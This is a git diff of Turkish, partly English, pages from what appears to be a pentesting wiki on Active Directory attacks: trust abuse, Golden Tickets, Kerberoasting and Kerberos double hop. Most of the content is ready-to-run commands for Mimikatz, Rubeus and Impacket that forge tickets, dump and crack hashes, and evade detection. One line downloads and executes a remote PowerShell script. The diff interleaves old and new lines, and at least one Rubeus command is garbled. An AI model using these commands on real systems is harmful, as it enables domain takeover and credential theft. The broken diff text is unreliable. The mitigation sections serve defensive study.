# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
|
||||
```
|
||||
Önceki sayımda, **`crossuser`** kullanıcısının **harici alanın** **DC'sinde** **Admin erişimi** olan **`External Admins`** grubunun içinde olduğu bulundu.
|
||||
Önceki numaralandırmada, **`crossuser`** kullanıcısının **dış alanın DC'sinde** **Admin erişimi** olan **`External Admins`** grubunun içinde olduğu bulundu.
|
||||
|
||||
## İlk Erişim
|
||||
|
||||
Eğer diğer alandaki kullanıcınızın herhangi bir **özel** erişimini **bulamadıysanız**, yine de AD Metodolojisine geri dönebilir ve **yetkisiz bir kullanıcıdan privesc** denemesi yapabilirsiniz (örneğin kerberoasting gibi):
|
||||
Eğer diğer alandaki kullanıcınızın herhangi bir **özel** erişimini bulamadıysanız, AD Metodolojisine geri dönebilir ve **yetkisiz bir kullanıcıdan privesc** denemeye çalışabilirsiniz (örneğin kerberoasting gibi):
|
||||
|
||||
**Powerview fonksiyonlarını** kullanarak `-Domain` parametresi ile **diğer alanı** **sayım** yapmak için:
|
||||
```powershell
|
||||
**Powerview fonksiyonlarını** kullanarak `-Domain` parametresi ile **diğer alanı** **numaralandırabilirsiniz**:
|
||||
```bash
|
||||
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
|
||||
```
|
||||
{{#ref}}
|
||||
@ -75,23 +75,23 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
|
||||
### Giriş Yapma
|
||||
|
||||
Dış domaine erişimi olan kullanıcıların kimlik bilgileriyle normal bir yöntem kullanarak erişim sağlamalısınız:
|
||||
```powershell
|
||||
```bash
|
||||
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
|
||||
```
|
||||
### SID Tarihi İstismarı
|
||||
|
||||
Bir orman güveni üzerinden [**SID Tarihi**](sid-history-injection.md) istismar edebilirsiniz.
|
||||
|
||||
Eğer bir kullanıcı **bir ormandan diğerine** taşınmışsa ve **SID Filtreleme etkin değilse**, **diğer ormandan bir SID eklemek** mümkün hale gelir ve bu **SID**, **güven üzerinden** kimlik doğrulama sırasında **kullanıcının jetonuna** **eklenecektir**.
|
||||
Bir kullanıcı **bir ormandan diğerine** taşındığında ve **SID Filtrelemesi etkin değilse**, **diğer ormandan bir SID eklemek** mümkün hale gelir ve bu **SID**, **güven üzerinden** kimlik doğrulama sırasında **kullanıcının jetonuna** **eklenecektir**.
|
||||
|
||||
> [!WARNING]
|
||||
> Hatırlatmak gerekirse, imza anahtarını şu şekilde alabilirsiniz:
|
||||
>
|
||||
> ```powershell
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
|
||||
> ```
|
||||
|
||||
Mevcut alanın kullanıcısını taklit eden bir **TGT**'yi **güvenilir** anahtarla **imzalayabilirsiniz**.
|
||||
Mevcut alanın kullanıcısını taklit eden bir **TGT'yi** **güvenilir** anahtarla **imzalayabilirsiniz**.
|
||||
```bash
|
||||
# Get a TGT for the cross-domain privileged user to the other domain
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Golden ticket
|
||||
|
||||
Bir **Golden Ticket** saldırısı, **NTLM hash'ini kullanarak herhangi bir kullanıcıyı taklit eden meşru bir Ticket Granting Ticket (TGT) oluşturma** işleminden oluşur. Bu teknik, taklit edilen kullanıcı olarak **alan içindeki herhangi bir hizmete veya makineye erişim sağladığı** için özellikle avantajlıdır. **krbtgt hesabının kimlik bilgileri asla otomatik olarak güncellenmez** olduğunu hatırlamak önemlidir.
|
||||
Bir **Golden Ticket** saldırısı, **NTLM hash'ini kullanarak herhangi bir kullanıcıyı taklit eden meşru bir Ticket Granting Ticket (TGT) oluşturma** işlemini içerir. Bu teknik, taklit edilen kullanıcı olarak **alan içindeki herhangi bir hizmete veya makineye erişim sağladığı** için özellikle avantajlıdır. **krbtgt hesabının kimlik bilgileri asla otomatik olarak güncellenmez** olduğunu hatırlamak önemlidir.
|
||||
|
||||
**krbtgt hesabının NTLM hash'ini elde etmek** için çeşitli yöntemler kullanılabilir. Bu hash, alan içindeki herhangi bir Domain Controller (DC) üzerindeki **Local Security Authority Subsystem Service (LSASS) sürecinden** veya **NT Directory Services (NTDS.dit) dosyasından** çıkarılabilir. Ayrıca, bu NTLM hash'ini elde etmek için **DCsync saldırısı gerçekleştirmek** de başka bir stratejidir; bu, Mimikatz'taki **lsadump::dcsync modülü** veya Impacket tarafından sağlanan **secretsdump.py scripti** gibi araçlar kullanılarak yapılabilir. Bu işlemleri gerçekleştirmek için genellikle **alan yöneticisi ayrıcalıkları veya benzer bir erişim seviyesi gereklidir**.
|
||||
**krbtgt hesabının NTLM hash'ini elde etmek** için çeşitli yöntemler kullanılabilir. Bu hash, **Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti (LSASS) sürecinden** veya alan içindeki herhangi bir Alan Denetleyicisi (DC) üzerinde bulunan **NT Dizin Hizmetleri (NTDS.dit) dosyasından** çıkarılabilir. Ayrıca, **DCsync saldırısı gerçekleştirmek**, bu NTLM hash'ini elde etmenin bir başka stratejisidir; bu, Mimikatz'taki **lsadump::dcsync modülü** veya Impacket tarafından sağlanan **secretsdump.py scripti** gibi araçlar kullanılarak yapılabilir. Bu işlemleri gerçekleştirmek için genellikle **alan yöneticisi ayrıcalıkları veya benzer bir erişim seviyesi gereklidir**.
|
||||
|
||||
NTLM hash'i bu amaç için geçerli bir yöntem olsa da, operasyonel güvenlik nedenleriyle **Gelişmiş Şifreleme Standardı (AES) Kerberos anahtarlarını (AES128 ve AES256)** kullanarak biletlerin **sahte belgelenmesi** şiddetle tavsiye edilir.
|
||||
NTLM hash'i bu amaç için geçerli bir yöntem olsa da, operasyonel güvenlik nedenleriyle **Gelişmiş Şifreleme Standardı (AES) Kerberos anahtarlarını (AES128 ve AES256)** kullanarak biletleri **sahtelemek** şiddetle tavsiye edilir.
|
||||
```bash:From Linux
|
||||
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
|
||||
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
|
||||
@ -16,6 +16,12 @@ python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
|
||||
```
|
||||
|
||||
```bash:From Windows
|
||||
# Rubeus
|
||||
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
|
||||
## The /printcmd option will print the complete command if later you want to generate a token offline
|
||||
.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
|
||||
|
||||
/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt
|
||||
#mimikatz
|
||||
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
|
||||
.\Rubeus.exe ptt /ticket:ticket.kirbi
|
||||
@ -28,7 +34,7 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1
|
||||
|
||||
### Yaygın tespitleri atlatma
|
||||
|
||||
Golden ticket'ı tespit etmenin en yaygın yolları, kablolu ağda **Kerberos trafiğini incelemektir**. Varsayılan olarak, Mimikatz **TGT'yi 10 yıl boyunca imzalar**, bu da onunla yapılan sonraki TGS isteklerinde anormal olarak öne çıkacaktır.
|
||||
Golden ticket'ı tespit etmenin en yaygın yolları, **ağdaki Kerberos trafiğini incelemektir**. Varsayılan olarak, Mimikatz **TGT'yi 10 yıl boyunca imzalar**, bu da onunla yapılan sonraki TGS isteklerinde anormal olarak öne çıkacaktır.
|
||||
|
||||
`Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
|
||||
|
||||
@ -36,21 +42,21 @@ Başlangıç ofsetini, süreyi ve maksimum yenilemeleri kontrol etmek için `/st
|
||||
```
|
||||
Get-DomainPolicy | select -expand KerberosPolicy
|
||||
```
|
||||
Maalesef, TGT'nin ömrü 4769'da kaydedilmediği için bu bilgiyi Windows olay günlüklerinde bulamazsınız. Ancak, **önceki 4768 olmadan 4769 görmek** ile ilişkilendirebilirsiniz. **TGT olmadan TGS talep etmek mümkün değildir** ve eğer bir TGT'nin verildiğine dair bir kayıt yoksa, bunun çevrimdışı olarak sahte olduğu sonucuna varabiliriz.
|
||||
Üzgünüm, TGT'nin ömrü 4769'da kaydedilmediği için bu bilgiyi Windows olay günlüklerinde bulamazsınız. Ancak, **önceki 4768 olmadan 4769 görmek** ile ilişkilendirebileceğiniz bir şey var. **TGT olmadan bir TGS talep etmek mümkün değildir** ve eğer bir TGT'nin verildiğine dair bir kayıt yoksa, bunun çevrimdışı olarak sahte olduğunu çıkarabiliriz.
|
||||
|
||||
Bu **tespit bypass'ını** gerçekleştirmek için elmas biletlerini kontrol edin:
|
||||
Bu **tespitleri atlamak için** elmas biletlerini kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Mitigasyon
|
||||
### Azaltma
|
||||
|
||||
- 4624: Hesap Girişi
|
||||
- 4672: Yönetici Girişi
|
||||
- `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property`
|
||||
|
||||
Savunucuların yapabileceği diğer küçük numaralar, **varsayılan etki alanı yöneticisi hesabı gibi hassas kullanıcılar için 4769'da uyarı vermektir**.
|
||||
Savunucuların yapabileceği diğer küçük hileler, **varsayılan etki alanı yöneticisi hesabı gibi hassas kullanıcılar için 4769'da uyarı vermektir**.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Kerberoast
|
||||
|
||||
Kerberoasting, **Active Directory (AD)** altında **kullanıcı hesapları** ile çalışan hizmetlere ait **TGS biletlerinin** edinilmesine odaklanır; **bilgisayar hesapları** hariçtir. Bu biletlerin şifrelemesi, **kullanıcı şifrelerinden** kaynaklanan anahtarları kullanır ve bu da **çevrimdışı kimlik bilgisi kırma** olasılığını sağlar. Bir kullanıcı hesabının hizmet olarak kullanıldığı, boş olmayan bir **"ServicePrincipalName"** özelliği ile belirtilir.
|
||||
Kerberoasting, **Active Directory (AD)** altında çalışan **kullanıcı hesapları** ile ilgili olan **TGS biletlerinin** edinilmesine odaklanır; **bilgisayar hesapları** hariçtir. Bu biletlerin şifrelemesi, **kullanıcı şifreleri** kaynaklı anahtarlar kullanır ve bu da **çevrimdışı kimlik bilgisi kırma** olasılığını sağlar. Bir hizmetin, boş olmayan bir **"ServicePrincipalName"** özelliği ile gösterildiği belirtilir.
|
||||
|
||||
**Kerberoasting** gerçekleştirmek için, **TGS biletleri** talep edebilen bir alan hesabı gereklidir; ancak bu süreç **özel ayrıcalıklar** talep etmez, bu da **geçerli alan kimlik bilgilerine** sahip herkesin erişimine açık olduğu anlamına gelir.
|
||||
|
||||
@ -19,132 +19,154 @@ Kerberoasting, **Active Directory (AD)** altında **kullanıcı hesapları** ile
|
||||
|
||||
> [!WARNING]
|
||||
> **Kerberoasting araçları**, saldırıyı gerçekleştirirken ve TGS-REQ talepleri başlatırken genellikle **`RC4 şifrelemesi`** talep eder. Bunun nedeni, **RC4'ün** [**daha zayıf**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) olması ve Hashcat gibi araçlar kullanılarak çevrimdışı kırılmasının diğer şifreleme algoritmaları olan AES-128 ve AES-256'dan daha kolay olmasıdır.\
|
||||
> RC4 (tip 23) hash'leri **`$krb5tgs$23$*`** ile başlarken, AES-256 (tip 18) **`$krb5tgs$18$*`** ile başlar.`
|
||||
> RC4 (tip 23) hash'leri **`$krb5tgs$23$*`** ile başlarken, AES-256 (tip 18) **`$krb5tgs$18$*`** ile başlar.\
|
||||
> Ayrıca, dikkatli olun çünkü `Rubeus.exe kerberoast` tüm savunmasız hesaplar üzerinden otomatik olarak bilet talep eder ve bu sizi tespit ettirir. Öncelikle ilginç ayrıcalıklara sahip kerberoastable kullanıcıları bulun ve ardından yalnızca onların üzerinde çalıştırın.
|
||||
```bash
|
||||
|
||||
#### **Linux**
|
||||
|
||||
```bash
|
||||
# Metasploit framework
|
||||
msf> use auxiliary/gather/get_user_spns
|
||||
# Impacket
|
||||
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
|
||||
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Şifre istenecektir
|
||||
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
|
||||
# kerberoast: https://github.com/skelsec/kerberoast
|
||||
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
|
||||
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
|
||||
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Kerberoastable kullanıcıları listele
|
||||
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Hash'leri dök
|
||||
```
|
||||
Kerberoastable kullanıcıların dökümünü içeren çok özellikli araçlar:
|
||||
|
||||
Multi-features tools including a dump of kerberoastable users:
|
||||
|
||||
```bash
|
||||
# ADenum: https://github.com/SecuProject/ADenum
|
||||
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
|
||||
```
|
||||
|
||||
#### Windows
|
||||
|
||||
- **Kerberoastable kullanıcıları listele**
|
||||
```powershell
|
||||
# Get Kerberoastable users
|
||||
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
|
||||
- **Enumerate Kerberoastable users**
|
||||
|
||||
```bash
|
||||
# Kerberoastable kullanıcıları al
|
||||
setspn.exe -Q */* #Bu yerleşik bir ikili dosyadır. Kullanıcı hesaplarına odaklanın
|
||||
Get-NetUser -SPN | select serviceprincipalname #Powerview
|
||||
.\Rubeus.exe kerberoast /stats
|
||||
```
|
||||
- **Teknik 1: TGS isteyin ve bellekten dökün**
|
||||
```powershell
|
||||
#Get TGS in memory from a single user
|
||||
Add-Type -AssemblyName System.IdentityModel
|
||||
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
|
||||
|
||||
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
|
||||
- **Technique 1: Ask for TGS and dump it from memory**
|
||||
|
||||
```bash
|
||||
#Tek bir kullanıcıdan bellekte TGS alın
|
||||
Add-Type -AssemblyName System.IdentityModel
|
||||
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Örnek: MSSQLSvc/mgmt.domain.local
|
||||
|
||||
#Tüm kerberoastable hesaplar için TGS'leri al (PC'ler dahil, pek akıllıca değil)
|
||||
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
|
||||
|
||||
#List kerberos tickets in memory
|
||||
#Bellekteki kerberos biletlerini listele
|
||||
klist
|
||||
|
||||
# Extract them from memory
|
||||
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
|
||||
# Bellekten çıkar
|
||||
Invoke-Mimikatz -Command '"kerberos::list /export"' #Biletleri mevcut klasöre dışa aktar
|
||||
|
||||
# Transform kirbi ticket to john
|
||||
# kirbi biletini john'a dönüştür
|
||||
python2.7 kirbi2john.py sqldev.kirbi
|
||||
# Transform john to hashcat
|
||||
# john'u hashcat'e dönüştür
|
||||
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
|
||||
```
|
||||
- **Teknik 2: Otomatik araçlar**
|
||||
|
||||
- **Technique 2: Automatic tools**
|
||||
|
||||
```bash
|
||||
# Powerview: Get Kerberoast hash of a user
|
||||
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
|
||||
# Powerview: Get all Kerberoast hashes
|
||||
# Powerview: Bir kullanıcının Kerberoast hash'ini al
|
||||
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #PowerView Kullanımı Ör: MSSQLSvc/mgmt.domain.local
|
||||
# Powerview: Tüm Kerberoast hash'lerini al
|
||||
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
|
||||
|
||||
# Rubeus
|
||||
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
|
||||
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
|
||||
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
|
||||
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Belirli kullanıcı
|
||||
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Yönetici al
|
||||
|
||||
# Invoke-Kerberoast
|
||||
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
|
||||
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
|
||||
```
|
||||
> [!WARNING]
|
||||
> Bir TGS talep edildiğinde, Windows olayı `4769 - Bir Kerberos hizmet bileti talep edildi` oluşturulur.
|
||||
|
||||
### Kırma
|
||||
> [!WARNING]
|
||||
> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
|
||||
|
||||
### Cracking
|
||||
|
||||
```bash
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
||||
```
|
||||
### Süreklilik
|
||||
|
||||
Eğer bir kullanıcı üzerinde **yeterli izinleriniz** varsa, onu **kerberoastable** hale getirebilirsiniz:
|
||||
### Persistence
|
||||
|
||||
If you have **enough permissions** over a user you can **make it kerberoastable**:
|
||||
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
|
||||
```
|
||||
Burada **kerberoast** saldırıları için faydalı **araçlar** bulabilirsiniz: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
|
||||
|
||||
Eğer Linux'ta bu **hata** ile karşılaşırsanız: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** bu, yerel saatinizle ilgilidir, hostu DC ile senkronize etmeniz gerekir. Birkaç seçenek var:
|
||||
You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
|
||||
|
||||
- `ntpdate <DC'nin IP'si>` - Ubuntu 16.04 itibarıyla kullanımdan kaldırılmıştır.
|
||||
- `rdate -n <DC'nin IP'si>`
|
||||
If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
|
||||
|
||||
### Mitigasyon
|
||||
- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
|
||||
- `rdate -n <IP of DC>`
|
||||
|
||||
Kerberoasting, eğer istismar edilebiliyorsa, yüksek bir gizlilik derecesi ile gerçekleştirilebilir. Bu aktiviteyi tespit etmek için **Security Event ID 4769**'a dikkat edilmelidir; bu, bir Kerberos biletinin talep edildiğini gösterir. Ancak, bu olayın yüksek sıklığı nedeniyle, şüpheli aktiviteleri izole etmek için belirli filtreler uygulanmalıdır:
|
||||
### Mitigation
|
||||
|
||||
Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:
|
||||
|
||||
- The service name should not be **krbtgt**, as this is a normal request.
|
||||
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
|
||||
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
|
||||
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
|
||||
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.
|
||||
|
||||
- Hizmet adı **krbtgt** olmamalıdır, çünkü bu normal bir taleptir.
|
||||
- **$** ile biten hizmet adları, hizmetler için kullanılan makine hesaplarını dahil etmemek için hariç tutulmalıdır.
|
||||
- Makinalardan gelen talepler, **machine@domain** formatındaki hesap adları hariç tutularak filtrelenmelidir.
|
||||
- Sadece başarılı bilet talepleri dikkate alınmalıdır; bunlar **'0x0'** hata kodu ile tanımlanır.
|
||||
- **En önemlisi**, bilet şifreleme türü **0x17** olmalıdır; bu, genellikle Kerberoasting saldırılarında kullanılır.
|
||||
```bash
|
||||
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
|
||||
```
|
||||
Kerberoasting riskini azaltmak için:
|
||||
|
||||
- **Hizmet Hesabı Parolalarının tahmin edilmesi zor olmasını** sağlayın, **25 karakterden** uzun bir uzunluk önerilmektedir.
|
||||
- **Yönetilen Hizmet Hesaplarını** kullanın, bu da **otomatik parola değişiklikleri** ve **devredilmiş Hizmet Prensip Adı (SPN) Yönetimi** gibi avantajlar sunarak bu tür saldırılara karşı güvenliği artırır.
|
||||
To mitigate the risk of Kerberoasting:
|
||||
|
||||
Bu önlemleri uygulayarak, organizasyonlar Kerberoasting ile ilişkili riski önemli ölçüde azaltabilir.
|
||||
- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
|
||||
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.
|
||||
|
||||
By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.
|
||||
|
||||
## Kerberoast w/o domain account
|
||||
|
||||
**Eylül 2022**'de, Charlie Clark adında bir araştırmacı tarafından bir sistemin istismar edilmesi için yeni bir yol ortaya kondu ve bu, [exploit.ph](https://exploit.ph/) platformu aracılığıyla paylaşıldı. Bu yöntem, herhangi bir Active Directory hesabı üzerinde kontrol gerektirmeden **KRB_AS_REQ** isteği aracılığıyla **Hizmet Biletleri (ST)** edinilmesine olanak tanır. Temelde, bir prensip, ön kimlik doğrulama gerektirmeyecek şekilde ayarlandığında—siber güvenlik alanında **AS-REP Roasting saldırısı** olarak bilinen bir senaryoya benzer—bu özellik, istek sürecini manipüle etmek için kullanılabilir. Özellikle, isteğin gövdesindeki **sname** niteliğini değiştirerek, sistemin standart şifreli Bilet Verme Bileti (TGT) yerine bir **ST** vermesi sağlanır.
|
||||
In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).
|
||||
|
||||
Teknik, bu makalede tam olarak açıklanmaktadır: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
|
||||
The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
|
||||
|
||||
> [!WARNING]
|
||||
> Bu teknikle LDAP'ı sorgulamak için geçerli bir hesabımız olmadığından, bir kullanıcı listesi sağlamalısınız.
|
||||
> You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
|
||||
|
||||
#### Linux
|
||||
|
||||
- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):
|
||||
|
||||
```bash
|
||||
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
|
||||
```
|
||||
|
||||
#### Windows
|
||||
|
||||
- [GhostPack/Rubeus PR #139'dan](https://github.com/GhostPack/Rubeus/pull/139):
|
||||
- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):
|
||||
|
||||
```bash
|
||||
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)
|
||||
|
||||
@ -1,33 +1,34 @@
|
||||
# Kerberos Double Hop Problemi
|
||||
# Kerberos Double Hop Problem
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Giriş
|
||||
|
||||
Kerberos "Double Hop" problemi, bir saldırganın **Kerberos kimlik doğrulamasını iki** **atlama** üzerinden kullanmaya çalıştığında ortaya çıkar; örneğin **PowerShell**/**WinRM** kullanarak.
|
||||
## Introduction
|
||||
|
||||
Bir **kimlik doğrulaması** **Kerberos** üzerinden gerçekleştiğinde, **kimlik bilgileri** **bellekte** **önbelleğe alınmaz.** Bu nedenle, eğer mimikatz çalıştırırsanız, kullanıcı makinede işlem çalıştırıyor olsa bile **kimlik bilgilerini bulamazsınız.**
|
||||
Kerberos "Double Hop" problemi, bir saldırganın **Kerberos kimlik doğrulamasını iki** **atlama** üzerinden kullanmaya çalıştığında ortaya çıkar, örneğin **PowerShell**/**WinRM** kullanarak.
|
||||
|
||||
Bu, Kerberos ile bağlanırken izlenen adımların şöyle olmasındandır:
|
||||
Bir **kimlik doğrulaması** **Kerberos** üzerinden gerçekleştiğinde, **kimlik bilgileri** **bellekte** **önbelleğe alınmaz.** Bu nedenle, mimikatz çalıştırırsanız, kullanıcı makinede işlem yapsa bile **kimlik bilgilerini bulamazsınız.**
|
||||
|
||||
1. User1 kimlik bilgilerini sağlar ve **alan denetleyici** User1'e bir Kerberos **TGT** döner.
|
||||
Bu, Kerberos ile bağlanırken izlenen adımlar nedeniyle olur:
|
||||
|
||||
1. User1 kimlik bilgilerini sağlar ve **alan denetleyicisi** User1'e bir Kerberos **TGT** döner.
|
||||
2. User1, Server1'e **bağlanmak** için bir **hizmet bileti** talep etmek üzere **TGT** kullanır.
|
||||
3. User1 **Server1**'e **bağlanır** ve **hizmet biletini** sağlar.
|
||||
4. **Server1**, User1'in kimlik bilgilerini veya User1'in **TGT**'sini **önbelleğe almaz.** Bu nedenle, User1 Server1'den ikinci bir sunucuya giriş yapmaya çalıştığında, **kimlik doğrulaması yapılamaz.**
|
||||
4. **Server1**, User1'in önbelleğe alınmış **kimlik bilgilerine** veya User1'in **TGT**'sine sahip **değildir.** Bu nedenle, User1 Server1'den ikinci bir sunucuya giriş yapmaya çalıştığında, **kimlik doğrulaması yapılamaz.**
|
||||
|
||||
### Sınırsız Delegasyon
|
||||
### Unconstrained Delegation
|
||||
|
||||
Eğer PC'de **sınırsız delegasyon** etkinleştirilmişse, bu durum gerçekleşmez çünkü **Sunucu**, ona erişen her kullanıcının **TGT**'sini **alır.** Ayrıca, sınırsız delegasyon kullanılıyorsa, muhtemelen **Alan Denetleyicisini** ele geçirebilirsiniz.\
|
||||
[**Sınırsız delegasyon sayfasında daha fazla bilgi**](unconstrained-delegation.md).
|
||||
Eğer PC'de **unconstrained delegation** etkinleştirilmişse, bu durum gerçekleşmez çünkü **Sunucu**, ona erişen her kullanıcının **TGT**'sini **alır.** Ayrıca, unconstrained delegation kullanılıyorsa, muhtemelen **Domain Controller**'ı buradan **tehdit edebilirsiniz.**\
|
||||
[**Unconstrained delegation sayfasında daha fazla bilgi**](unconstrained-delegation.md).
|
||||
|
||||
### CredSSP
|
||||
|
||||
